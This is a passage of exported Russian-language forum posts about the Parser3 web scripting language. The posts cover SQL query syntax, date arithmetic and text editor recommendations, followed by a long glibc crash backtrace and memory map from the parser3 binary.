Если возвращается какой-то результат, то используйте:\
[code]\
^int:sql{запрос}   \
^int:sql{запрос}[$.limit(1) $.offset(o) $.default(выражение)]\
[/code]\
или\
[code]\
^double:sql{запрос}   \
^double:sql{запрос}[$.limit(1) $.offset(o) $.default(выражение)]\
[/code]\
или\
[code]\
^string:sql{SQL-запрос}   \
^string:sql{SQL-запрос}[$.limit(1) $.offset(o) $.default{код} $.bind[variables hash]]\
[/code]\
или\
[code]\
^table::sql{SQL-запрос}  \
^table::sql{SQL-запрос }[$.limit(n) $.offset(o) $.bind[variables hash]]\
[/code]\
или\
[code]\
^hash::sql{запрос}   \
^hash::sql{запрос}[$.limit(n) $.offset(o) $.distinct(true/false) $.bind[variables hash] $.type[hash|string|table]]\
[/code]"
"84850","Соединение с БД и выполнение запроса — не самая дешёвая операция, особенно в сравнении с простой арифметикой.\
\
[code]$begin[^date::create[2019-05-20 16:50:09]]\
$end[^date::create[2019-05-20 17:05:23]]\
Delta is ^math:floor(($end - $begin) * 86400) second(s).[/code]"
"84851","а то в обычных редакторах лог показывает \"куда-то туда\", игнорируя переносы, пустые или ещё что-то в оригинальном коде"
"84852","А обычные редакторы это какие? В Atom все совпадает"
"84853","Микрософт блокнот) анэкспектид что-нибудь на 1204:42, а там в строке пять символов, и в следующих в поле зрения ничего близкого"
"84854","Попробуй Atom, Sublime, Brackets"
"84857","Я там в итоге примерно так и сделал, но медленно и криво: из обеих дат навытягивал переменных и их умножал на 60, 60*60, среднее дней в месяце, дней в среднем году, и в секундах вычитанием считал разницу :). Для моих сегодняшних целей (прошло недавно/полчаса/часов/дней) хватает, вроде бы.\
\
Ладно б датические объекты складывать между собой в третий, но [i]умножать дату на секунды[/i] обычно-десятично и то, что дата - фактически набор разрядов в своей системе, - это неявная возможность :). Удобно."
"84859","[quote]умножать дату на секунды обычно-десятично и то, что дата - фактически набор разрядов в своей системе, - это неявная возможность[/quote]\
\
Как [url=\"https://www.parser.ru/docs/lang/dateclass.htm\"]говорит документация[/url]:\
[quote]Числовое значение объекта класса date равно числу суток с EPOCH (01.01.1970 00:00:00, UTC) до даты, заданной в объекте. Этим значением полезно пользоваться для вычисления относительной даты[/quote]\
Зная число дней легко перейти с часам, минутам и секундам.\
Секунды можно получить и вызвав\
[code]^date.unix-timestamp[][/code]\
.\
\
А раз дата является счётчиком отрезков времени, то с ней можно производить математические операции."
"84862","спасибо за ссылку!"
"84863","Еще порекомендовал бы VS Code"
"84864","*** Error in `parser3': free(): invalid pointer: 0x00005579cd089f00 ***\
======= Backtrace: =========\
/lib/x86_64-linux-gnu/libc.so.6(+0x70bfb)[0x7f6f365b8bfb]\
/lib/x86_64-linux-gnu/libc.so.6(+0x76fc6)[0x7f6f365befc6]\
/lib/x86_64-linux-gnu/libc.so.6(+0x7780e)[0x7f6f365bf80e]\
parser3(+0x76c0f)[0x5579ccb71c0f]\
parser3(+0x467de)[0x5579ccb417de]\
parser3(+0x43bf9)[0x5579ccb3ebf9]\
parser3(+0x44aaa)[0x5579ccb3faaa]\
parser3(+0x45f60)[0x5579ccb40f60]\
parser3(+0x27de9)[0x5579ccb22de9]\
parser3(+0x181b3)[0x5579ccb131b3]\
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f6f365682e1]\
parser3(+0x1a79a)[0x5579ccb1579a]\
======= Memory map: ========\
5579ccafb000-5579ccc24000 r-xp 00000000 08:03 5398326                    /usr/bin/parser3\
5579cce23000-5579cce2a000 r--p 00128000 08:03 5398326                    /usr/bin/parser3\
5579cce2a000-5579cce2f000 rw-p 0012f000 08:03 5398326                    /usr/bin/parser3\
5579cce2f000-5579cce4a000 rw-p 00000000 00:00 0 \
5579ccfdc000-5579cd0d7000 rw-p 00000000 00:00 0                          [heap]\
7f6f28000000-7f6f28021000 rw-p 00000000 00:00 0 \
7f6f28021000-7f6f2c000000 ---p 00000000 00:00 0 \
7f6f2cc58000-7f6f2cc5f000 r-xp 00000000 08:03 5393343                    /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4\
7f6f2cc5f000-7f6f2ce5f000 ---p 00007000 08:03 5393343                    /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4\
7f6f2ce5f000-7f6f2ce60000 r--p 00007000 08:03 5393343                    /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4\
7f6f2ce60000-7f6f2ce61000 rw-p 00008000 08:03 5393343                    /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4\
7f6f2ce68000-7f6f2ce79000 r-xp 00000000 08:03 5393442                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.3\
7f6f2ce79000-7f6f2d079000 ---p 00011000 08:03 5393442                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.3\
7f6f2d079000-7f6f2d07a000 r--p 00011000 08:03 5393442                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.3\
7f6f2d07a000-7f6f2d07b000 rw-p 00012000 08:03 5393442                    /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.3\
7f6f2d080000-7f6f2d0b2000 r-xp 00000000 08:03 5390770                    /lib/x86_64-linux-gnu/libidn.so.11.6.16\
7f6f2d0b2000-7f6f2d2b2000 ---p 00032000 08:03 5390770                    /lib/x86_64-linux-gnu/libidn.so.11.6.16\
7f6f2d2b2000-7f6f2d2b3000 r--p 00032000 08:03 5390770                    /lib/x86_64-linux-gnu/libidn.so.11.6.16\
7f6f2d2b3000-7f6f2d2b4000 rw-p 00033000 08:03 5390770                    /lib/x86_64-linux-gnu/libidn.so.11.6.16\
7f6f2d2b8000-7f6f2d312000 r-xp 00000000 08:03 5393417                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.2.0\
7f6f2d312000-7f6f2d511000 ---p 0005a000 08:03 5393417                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.2.0\
7f6f2d511000-7f6f2d51b000 r--p 00059000 08:03 5393417                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.2.0\
7f6f2d51b000-7f6f2d51d000 rw-p 00063000 08:03 5393417                    /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.2.0\
7f6f2d520000-7f6f2d53a000 r-xp 00000000 08:03 5393434                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25\
7f6f2d53a000-7f6f2d739000 ---p 0001a000 08:03 5393434                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25\
7f6f2d739000-7f6f2d73a000 r--p 00019000 08:03 5393434                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25\
7f6f2d73a000-7f6f2d73b000 rw-p 0001a000 08:03 5393434                    /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25\
7f6f2d740000-7f6f2d754000 r-xp 00000000 08:03 5385732                    /lib/x86_64-linux-gnu/libresolv-2.24.so\
7f6f2d754000-7f6f2d953000 ---p 00014000 08:03 5385732                    /lib/x86_64-linux-gnu/libresolv-2.24.so\
7f6f2d953000-7f6f2d954000 r--p 00013000 08:03 5385732                    /lib/x86_64-linux-gnu/libresolv-2.24.so\
7f6f2d954000-7f6f2d955000 rw-p 00014000 08:03 5385732                    /lib/x86_64-linux-gnu/libresolv-2.24.so\
7f6f2d955000-7f6f2d957000 rw-p 00000000 00:00 0 \
7f6f2d958000-7f6f2d95b000 r-xp 00000000 08:03 5390772                    /lib/x86_64-linux-gnu/libkeyutils.so.1.5\
7f6f2d95b000-7f6f2db5a000 ---p 00003000 08:03 5390772                    /lib/x86_64-linux-gnu/libkeyutils.so.1.5\
7f6f2db5a000-7f6f2db5b000 r--p 00002000 08:03 5390772                    /lib/x86_64-linux-gnu/libkeyutils.so.1.5\
7f6f2db5b000-7f6f2db5c000 rw-p 00003000 08:03 5390772                    /lib/x86_64-linux-gnu/libkeyutils.so.1.5\
7f6f2db60000-7f6f2db6b000 r-xp 00000000 08:03 5393379                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1\
7f6f2db6b000-7f6f2dd6a000 ---p 0000b000 08:03 5393379                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1\
7f6f2dd6a000-7f6f2dd6b000 r--p 0000a000 08:03 5393379                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1\
7f6f2dd6b000-7f6f2dd6c000 rw-p 0000b000 08:03 5393379                    /usr/lib/x86_64-linux-gnu/libkrb5support.so.0.1\
7f6f2dd70000-7f6f2ddf1000 r-xp 00000000 08:03 5393354                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2\
7f6f2ddf1000-7f6f2dff1000 ---p 00081000 08:03 5393354                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2\
7f6f2dff1000-7f6f2dff2000 r--p 00081000 08:03 5393354                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2\
7f6f2dff2000-7f6f2dff3000 rw-p 00082000 08:03 5393354                    /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2\
7f6f2dff8000-7f6f2e02d000 r-xp 00000000 08:03 5393404                    /usr/lib/x86_64-linux-gnu/libnettle.so.6.3\
7f6f2e02d000-7f6f2e22c000 ---p 00035000 08:03 5393404                    /usr/lib/x86_64-linux-gnu/libnettle.so.6.3\
7f6f2e22c000-7f6f2e22e000 r--p 00034000 08:03 5393404                    /usr/lib/x86_64-linux-gnu/libnettle.so.6.3\
7f6f2e22e000-7f6f2e22f000 rw-p 00036000 08:03 5393404                    /usr/lib/x86_64-linux-gnu/libnettle.so.6.3\
7f6f2e230000-7f6f2e263000 r-xp 00000000 08:03 5393366                    /usr/lib/x86_64-linux-gnu/libhogweed.so.4.3\
7f6f2e263000-7f6f2e463000 ---p 00033000 08:03 5393366                    /usr/lib/x86_64-linux-gnu/libhogweed.so.4.3\
7f6f2e463000-7f6f2e464000 r--p 00033000 08:03 5393366                    /usr/lib/x86_64-linux-gnu/libhogweed.so.4.3\
7f6f2e464000-7f6f2e465000 rw-p 00034000 08:03 5393366                    /usr/lib/x86_64-linux-gnu/libhogweed.so.4.3\
7f6f2e468000-7f6f2e5f2000 r-xp 00000000 08:03 5393356                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.13.1\
7f6f2e5f2000-7f6f2e7f2000 ---p 0018a000 08:03 5393356                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.13.1\
7f6f2e7f2000-7f6f2e7ff000 r--p 0018a000 08:03 5393356                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.13.1\
7f6f2e7ff000-7f6f2e800000 rw-p 00197000 08:03 5393356                    /usr/lib/x86_64-linux-gnu/libgnutls.so.30.13.1\
7f6f2e800000-7f6f2e801000 rw-p 00000000 00:00 0 \
7f6f2e808000-7f6f2e91b000 r-xp 00000000 08:03 5393449                    /usr/lib/x86_64-linux-gnu/libunistring.so.0.1.2\
7f6f2e91b000-7f6f2eb1a000 ---p 00113000 08:03 5393449                    /usr/lib/x86_64-linux-gnu/libunistring.so.0.1.2\
7f6f2eb1a000-7f6f2eb1d000 r--p 00112000 08:03 5393449                    /usr/lib/x86_64-linux-gnu/libunistring.so.0.1.2\
7f6f2eb1d000-7f6f2eb1e000 rw-p 00115000 08:03 5393449                    /usr/lib/x86_64-linux-gnu/libunistring.so.0.1.2\
7f6f2eb1e000-7f6f2eb1f000 rw-p 00000000 00:00 0 \
7f6f2eb20000-7f6f2eb6d000 r-xp 00000000 08:03 5393384                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.7\
7f6f2eb6d000-7f6f2ed6c000 ---p 0004d000 08:03 5393384                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.7\
7f6f2ed6c000-7f6f2ed6e000 r--p 0004c000 08:03 5393384                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.7\
7f6f2ed6e000-7f6f2ed6f000 rw-p 0004e000 08:03 5393384                    /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.7\
7f6f2ed6f000-7f6f2ed71000 rw-p 00000000 00:00 0 \
7f6f2ed78000-7f6f2ed85000 r-xp 00000000 08:03 5393381                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.7\
7f6f2ed85000-7f6f2ef85000 ---p 0000d000 08:03 5393381                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.7\
7f6f2ef85000-7f6f2ef86000 r--p 0000d000 08:03 5393381                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.7\
7f6f2ef86000-7f6f2ef87000 rw-p 0000e000 08:03 5393381                    /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.7\
7f6f2ef88000-7f6f2ef8b000 r-xp 00000000 08:03 5385680                    /lib/x86_64-linux-gnu/libcom_err.so.2.1\
7f6f2ef8b000-7f6f2f18a000 ---p 00003000 08:03 5385680                    /lib/x86_64-linux-gnu/libcom_err.so.2.1\
7f6f2f18a000-7f6f2f18b000 r--p 00002000 08:03 5385680                    /lib/x86_64-linux-gnu/libcom_err.so.2.1\
7f6f2f18b000-7f6f2f18c000 rw-p 00003000 08:03 5385680                    /lib/x86_64-linux-gnu/libcom_err.so.2.1\
7f6f2f190000-7f6f2f1bf000 r-xp 00000000 08:03 5393375                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1\
7f6f2f1bf000-7f6f2f3bf000 ---p 0002f000 08:03 5393375                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1\
7f6f2f3bf000-7f6f2f3c1000 r--p 0002f000 08:03 5393375                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1\
7f6f2f3c1000-7f6f2f3c2000 rw-p 00031000 08:03 5393375                    /usr/lib/x86_64-linux-gnu/libk5crypto.so.3.1\
7f6f2f3c2000-7f6f2f3c3000 rw-p 00000000 00:00 0 \
7f6f2f3c8000-7f6f2f491000 r-xp 00000000 08:03 5393377                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3\
7f6f2f491000-7f6f2f691000 ---p 000c9000 08:03 5393377                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3\
7f6f2f691000-7f6f2f69f000 r--p 000c9000 08:03 5393377                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3\
7f6f2f69f000-7f6f2f6a2000 rw-p 000d7000 08:03 5393377                    /usr/lib/x86_64-linux-gnu/libkrb5.so.3.3\
7f6f2f6a8000-7f6f2f6f0000 r-xp 00000000 08:03 5393362                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2\
7f6f2f6f0000-7f6f2f8ef000 ---p 00048000 08:03 5393362                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2\
7f6f2f8ef000-7f6f2f8f1000 r--p 00047000 08:03 5393362                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2\
7f6f2f8f1000-7f6f2f8f3000 rw-p 00049000 08:03 5393362                    /usr/lib/x86_64-linux-gnu/libgssapi_krb5.so.2.2\
7f6f2f8f8000-7f6f2fb2f000 r-xp 00000000 08:03 5393335                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2\
7f6f2fb2f000-7f6f2fd2f000 ---p 00237000 08:03 5393335                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2\
7f6f2fd2f000-7f6f2fd4b000 r--p 00237000 08:03 5393335                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2\
7f6f2fd4b000-7f6f2fd5a000 rw-p 00253000 08:03 5393335                    /usr/lib/x86_64-linux-gnu/libcrypto.so.1.0.2\
7f6f2fd5a000-7f6f2fd5e000 rw-p 00000000 00:00 0 \
7f6f2fd60000-7f6f2fdbf000 r-xp 00000000 08:03 5393439                    /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2\
7f6f2fdbf000-7f6f2ffbf000 ---p 0005f000 08:03 5393439                    /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2\
7f6f2ffbf000-7f6f2ffc3000 r--p 0005f000 08:03 5393439                    /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2\
7f6f2ffc3000-7f6f2ffc9000 rw-p 00063000 08:03 5393439                    /usr/lib/x86_64-linux-gnu/libssl.so.1.0.2\
7f6f2ffd0000-7f6f2ffdc000 r-xp 00000000 08:03 5393421                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.1.1\
7f6f2ffdc000-7f6f301dc000 ---p 0000c000 08:03 5393421                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.1.1\
7f6f301dc000-7f6f301dd000 r--p 0000c000 08:03 5393421                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.1.1\
7f6f301dd000-7f6f301de000 rw-p 0000d000 08:03 5393421                    /usr/lib/x86_64-linux-gnu/libpsl.so.5.1.1\
7f6f301e0000-7f6f3020c000 r-xp 00000000 08:03 5393438                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1\
7f6f3020c000-7f6f3040b000 ---p 0002c000 08:03 5393438                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1\
7f6f3040b000-7f6f3040c000 r--p 0002b000 08:03 5393438                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1\
7f6f3040c000-7f6f3040d000 rw-p 0002c000 08:03 5393438                    /usr/lib/x86_64-linux-gnu/libssh2.so.1.0.1\
7f6f30410000-7f6f3042b000 r-xp 00000000 08:03 5393432                    /usr/lib/x86_64-linux-gnu/librtmp.so.1\
7f6f3042b000-7f6f3062b000 ---p 0001b000 08:03 5393432                    /usr/lib/x86_64-linux-gnu/librtmp.so.1\
7f6f3062b000-7f6f3062c000 r--p 0001b000 08:03 5393432                    /usr/lib/x86_64-linux-gnu/librtmp.so.1\
7f6f3062c000-7f6f3062d000 rw-p 0001c000 08:03 5393432                    /usr/lib/x86_64-linux-gnu/librtmp.so.1\
7f6f30630000-7f6f30651000 r-xp 00000000 08:03 5393368                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.1.4\
7f6f30651000-7f6f30850000 ---p 00021000 08:03 5393368                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.1.4\
7f6f30850000-7f6f30851000 r--p 00020000 08:03 5393368                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.1.4\
7f6f30851000-7f6f30852000 rw-p 00021000 08:03 5393368                    /usr/lib/x86_64-linux-gnu/libidn2.so.0.1.4\
7f6f30858000-7f6f3087b000 r-xp 00000000 08:03 5393406                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.12.3\
7f6f3087b000-7f6f30a7a000 ---p 00023000 08:03 5393406                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.12.3\
7f6f30a7a000-7f6f30a7b000 r--p 00022000 08:03 5393406                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.12.3\
7f6f30a7b000-7f6f30a7e000 rw-p 00023000 08:03 5393406                    /usr/lib/x86_64-linux-gnu/libnghttp2.so.14.12.3\
7f6f30a80000-7f6f30afd000 r-xp 00000000 08:03 5393339                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0\
7f6f30afd000-7f6f30cfc000 ---p 0007d000 08:03 5393339                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0\
7f6f30cfc000-7f6f30cff000 r--p 0007c000 08:03 5393339                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0\
7f6f30cff000-7f6f30d00000 rw-p 0007f000 08:03 5393339                    /usr/lib/x86_64-linux-gnu/libcurl.so.4.4.0\
7f6f30d03000-7f6f30d04000 ---p 00000000 00:00 0 \
7f6f30d04000-7f6f31504000 rw-p 00000000 00:00 0 \
7f6f31504000-7f6f31505000 ---p 00000000 00:00 0 \
7f6f31505000-7f6f31d05000 rw-p 00000000 00:00 0 \
7f6f31d05000-7f6f31d06000 ---p 00000000 00:00 0 \
7f6f31d06000-7f6f32506000 rw-p 00000000 00:00 0 \
7f6f32506000-7f6f32507000 ---p 00000000 00:00 0 \
7f6f32507000-7f6f32d07000 rw-p 00000000 00:00 0 \
7f6f32d07000-7f6f32d08000 ---p 00000000 00:00 0 \
7f6f32d08000-7f6f33508000 rw-p 00000000 00:00 0 \
7f6f33508000-7f6f3351b000 r-xp 00000000 08:03 5385695                    /lib/x86_64-linux-gnu/libgpg-error.so.0.21.0\
7f6f3351b000-7f6f3371a000 ---p 00013000 08:03 5385695                    /lib/x86_64-linux-gnu/libgpg-error.so.0.21.0\
7f6f3371a000-7f6f3371b000 r--p 00012000 08:03 5385695                    /lib/x86_64-linux-gnu/libgpg-error.so.0.21.0\
7f6f3371b000-7f6f3371c000 rw-p 00013000 08:03 5385695                    /lib/x86_64-linux-gnu/libgpg-error.so.0.21.0\
7f6f33720000-7f6f33827000 r-xp 00000000 08:03 5385693                    /lib/x86_64-linux-gnu/libgcrypt.so.20.1.6\
7f6f33827000-7f6f33a27000 ---p 00107000 08:03 5385693                    /lib/x86_64-linux-gnu/libgcrypt.so.20.1.6\
7f6f33a27000-7f6f33a29000 r--p 00107000 08:03 5385693                    /lib/x86_64-linux-gnu/libgcrypt.so.20.1.6\
7f6f33a29000-7f6f33a30000 rw-p 00109000 08:03 5385693                    /lib/x86_64-linux-gnu/libgcrypt.so.20.1.6\
7f6f33a30000-7f6f33a55000 r-xp 00000000 08:03 5385697                    /lib/x86_64-linux-gnu/liblzma.so.5.2.2\
7f6f33a55000-7f6f33c54000 ---p 00025000 08:03 5385697                    /lib/x86_64-linux-gnu/liblzma.so.5.2.2\
7f6f33c54000-7f6f33c55000 r--p 00024000 08:03 5385697                    /lib/x86_64-linux-gnu/liblzma.so.5.2.2\
7f6f33c55000-7f6f33c56000 rw-p 00025000 08:03 5385697                    /lib/x86_64-linux-gnu/liblzma.so.5.2.2\
7f6f33c58000-7f6f33c71000 r-xp 00000000 08:03 5385755                    /lib/x86_64-linux-gnu/libz.so.1.2.8\
7f6f33c71000-7f6f33e70000 ---p 00019000 08:03 5385755                    /lib/x86_64-linux-gnu/libz.so.1.2.8\
7f6f33e70000-7f6f33e71000 r--p 00018000 08:03 5385755                    /lib/x86_64-linux-gnu/libz.so.1.2.8\
7f6f33e71000-7f6f33e72000 rw-p 00019000 08:03 5385755                    /lib/x86_64-linux-gnu/libz.so.1.2.8\
7f6f33e78000-7f6f356f4000 r-xp 00000000 08:03 5396501                    /usr/lib/x86_64-linux-gnu/libicudata.so.57.1\
7f6f356f4000-7f6f358f3000 ---p 0187c000 08:03 5396501                    /usr/lib/x86_64-linux-gnu/libicudata.so.57.1\
7f6f358f3000-7f6f358f4000 r--p 0187b000 08:03 5396501                    /usr/lib/x86_64-linux-gnu/libicudata.so.57.1\
7f6f358f4000-7f6f358f5000 rw-p 0187c000 08:03 5396501                    /usr/lib/x86_64-linux-gnu/libicudata.so.57.1\
7f6f358f8000-7f6f35a8c000 r-xp 00000000 08:03 5396515                    /usr/lib/x86_64-linux-gnu/libicuuc.so.57.1\
7f6f35a8c000-7f6f35c8b000 ---p 00194000 08:03 5396515                    /usr/lib/x86_64-linux-gnu/libicuuc.so.57.1\
7f6f35c8b000-7f6f35c9d000 r--p 00193000 08:03 5396515                    /usr/lib/x86_64-linux-gnu/libicuuc.so.57.1\
7f6f35c9d000-7f6f35c9e000 rw-p 001a5000 08:03 5396515                    /usr/lib/x86_64-linux-gnu/libicuuc.so.57.1\
7f6f35c9e000-7f6f35ca0000 rw-p 00000000 00:00 0 \
7f6f35ca0000-7f6f35f0b000 r-xp 00000000 08:03 5396503                    /usr/lib/x86_64-linux-gnu/libicui18n.so.57.1\
7f6f35f0b000-7f6f3610a000 ---p 0026b000 08:03 5396503                    /usr/lib/x86_64-linux-gnu/libicui18n.so.57.1\
7f6f3610a000-7f6f36117000 r--p 0026a000 08:03 5396503                    /usr/lib/x86_64-linux-gnu/libicui18n.so.57.1\
7f6f36117000-7f6f36119000 rw-p 00277000 08:03 5396503                    /usr/lib/x86_64-linux-gnu/libicui18n.so.57.1\
7f6f36119000-7f6f3611a000 rw-p 00000000 00:00 0 \
7f6f36120000-7f6f36138000 r-xp 00000000 08:03 5385730                    /lib/x86_64-linux-gnu/libpthread-2.24.so\
7f6f36138000-7f6f36337000 ---p 00018000 08:03 5385730                    /lib/x86_64-linux-gnu/libpthread-2.24.so\
7f6f36337000-7f6f36338000 r--p 00017000 08:03 5385730                    /lib/x86_64-linux-gnu/libpthread-2.24.so\
7f6f36338000-7f6f36339000 rw-p 00018000 08:03 5385730                    /lib/x86_64-linux-gnu/libpthread-2.24.so\
7f6f36339000-7f6f3633d000 rw-p 00000000 00:00 0 \
7f6f36340000-7f6f36343000 r-xp 00000000 08:03 5385683                    /lib/x86_64-linux-gnu/libdl-2.24.so\
7f6f36343000-7f6f36542000 ---p 00003000 08:03 5385683                    /lib/x86_64-linux-gnu/libdl-2.24.so\
7f6f36542000-7f6f36543000 r--p 00002000 08:03 5385683                    /lib/x86_64-linux-gnu/libdl-2.24.so\
7f6f36543000-7f6f36544000 rw-p 00003000 08:03 5385683                    /lib/x86_64-linux-gnu/libdl-2.24.so\
7f6f36548000-7f6f366dd000 r-xp 00000000 08:03 5385673                    /lib/x86_64-linux-gnu/libc-2.24.so\
7f6f366dd000-7f6f368dd000 ---p 00195000 08:03 5385673                    /lib/x86_64-linux-gnu/libc-2.24.so\
7f6f368dd000-7f6f368e1000 r--p 00195000 08:03 5385673                    /lib/x86_64-linux-gnu/libc-2.24.so\
7f6f368e1000-7f6f368e3000 rw-p 00199000 08:03 5385673                    /lib/x86_64-linux-gnu/libc-2.24.so\
7f6f368e3000-7f6f368e7000 rw-p 00000000 00:00 0 \
7f6f368e8000-7f6f368fe000 r-xp 00000000 08:03 5385691                    /lib/x86_64-linux-gnu/libgcc_s.so.1\
7f6f368fe000-7f6f36afd000 ---p 00016000 08:03 5385691                    /lib/x86_64-linux-gnu/libgcc_s.so.1\
7f6f36afd000-7f6f36afe000 r--p 00015000 08:03 5385691                    /lib/x86_64-linux-gnu/libgcc_s.so.1\
7f6f36afe000-7f6f36aff000 rw-p 00016000 08:03 5385691                    /lib/x86_64-linux-gnu/libgcc_s.so.1\
7f6f36b00000-7f6f36c03000 r-xp 00000000 08:03 5385698                    /lib/x86_64-linux-gnu/libm-2.24.so\
7f6f36c03000-7f6f36e02000 ---p 00103000 08:03 5385698                    /lib/x86_64-linux-gnu/libm-2.24.so\
7f6f36e02000-7f6f36e03000 r--p 00102000 08:03 5385698                    /lib/x86_64-linux-gnu/libm-2.24.so\
7f6f36e03000-7f6f36e04000 rw-p 00103000 08:03 5385698                    /lib/x86_64-linux-gnu/libm-2.24.so\
7f6f36e08000-7f6f36f7a000 r-xp 00000000 08:03 5386448                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.22\
7f6f36f7a000-7f6f3717a000 ---p 00172000 08:03 5386448                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.22\
7f6f3717a000-7f6f37184000 r--p 00172000 08:03 5386448                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.22\
7f6f37184000-7f6f37186000 rw-p 0017c000 08:03 5386448                    /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.22\
7f6f37186000-7f6f3718a000 rw-p 00000000 00:00 0 \
7f6f37190000-7f6f37198000 r-xp 00000000 08:03 5385681                    /lib/x86_64-linux-gnu/libcrypt-2.24.so\
7f6f37198000-7f6f37398000 ---p 00008000 08:03 5385681                    /lib/x86_64-linux-gnu/libcrypt-2.24.so\
7f6f37398000-7f6f37399000 r--p 00008000 08:03 5385681                    /lib/x86_64-linux-gnu/libcrypt-2.24.so\
7f6f37399000-7f6f3739a000 rw-p 00009000 08:03 5385681                    /lib/x86_64-linux-gnu/libcrypt-2.24.so\
7f6f3739a000-7f6f373c8000 rw-p 00000000 00:00 0 \
7f6f373c8000-7f6f373dc000 r-xp 00000000 08:03 5398371                    /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.17\
7f6f373dc000-7f6f375dc000 ---p 00014000 08:03 5398371                    /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.17\
7f6f375dc000-7f6f375dd000 r--p 00014000 08:03 5398371                    /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.17\
7f6f375dd000-7f6f375de000 rw-p 00015000 08:03 5398371                    /usr/lib/x86_64-linux-gnu/libexslt.so.0.8.17\
7f6f375e0000-7f6f3761d000 r-xp 00000000 08:03 5398413                    /usr/lib/x86_64-linux-gnu/libxslt.so.1.1.29\
7f6f3761d000-7f6f3781c000 ---p 0003d000 08:03 5398413                    /usr/lib/x86_64-linux-gnu/libxslt.so.1.1.29\
7f6f3781c000-7f6f3781e000 r--p 0003c000 08:03 5398413                    /usr/lib/x86_64-linux-gnu/libxslt.so.1.1.29\
7f6f3781e000-7f6f3781f000 rw-p 0003e000 08:03 5398413                    /usr/lib/x86_64-linux-gnu/libxslt.so.1.1.29\
7f6f37820000-7f6f379d0000 r-xp 00000000 08:03 5396527                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4\
7f6f379d0000-7f6f37bd0000 ---p 001b0000 08:03 5396527                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4\
7f6f37bd0000-7f6f37bd8000 r--p 001b0000 08:03 5396527                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4\
7f6f37bd8000-7f6f37bda000 rw-p 001b8000 08:03 5396527                    /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.4\
7f6f37bda000-7f6f37bdb000 rw-p 00000000 00:00 0 \
7f6f37be0000-7f6f37c52000 r-xp 00000000 08:03 5385729                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3\
7f6f37c52000-7f6f37e51000 ---p 00072000 08:03 5385729                    /lib/x86_64-linux-gnu/libpcre.so.3.13.3\
